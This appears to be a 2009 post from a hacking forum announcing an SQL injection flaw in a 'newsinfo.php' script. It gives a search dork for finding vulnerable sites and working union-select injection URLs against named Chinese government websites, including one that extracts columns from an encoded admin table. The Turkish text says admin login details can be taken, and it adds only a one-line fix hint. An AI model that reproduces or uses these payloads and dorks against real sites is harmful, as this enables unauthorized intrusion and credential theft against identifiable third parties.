Newsinfo.php China ~ SQL Inj. Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Newsinfo.php China ~ SQL Inj. Vuln.

Madde
	Author : Bug Researchers/fortyseven
	Date : 12.07.2009 21:40:21
	# Newsinfo.php China ~ SQL Inj. Vuln. [Full Screen Display]

	<------------------- header data start ------------------- > ############################################################# # author : fortyseven # Bug Type : SqL Injections # Infection : Admin giris bilgileri alinabilir. # Bug Fix Advice : Zararli karakterler filtrelenmelidir. # Dork : 中国国情网©营口之窗网站 inurl:/newsinfo.php?id= # Demo Sites : http://www.ykkzzb.gov.cn/newsinfo.php?id=450+union+select+0,group_concat(column_name),2,3,4,5,6+from+information_schema.columns%20where%20table_name=char(100,101,100,101,95,97,100,109,105,110) http://www.dsqzzb.gov.cn/newsinfo.php?id=1’ http://www.ykgtj.gov.cn/info.php?id=5+union+select+0,1,version(),3,4,5,6 ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > newsinfo.php?id=[SQL] < -- bug code end of -- >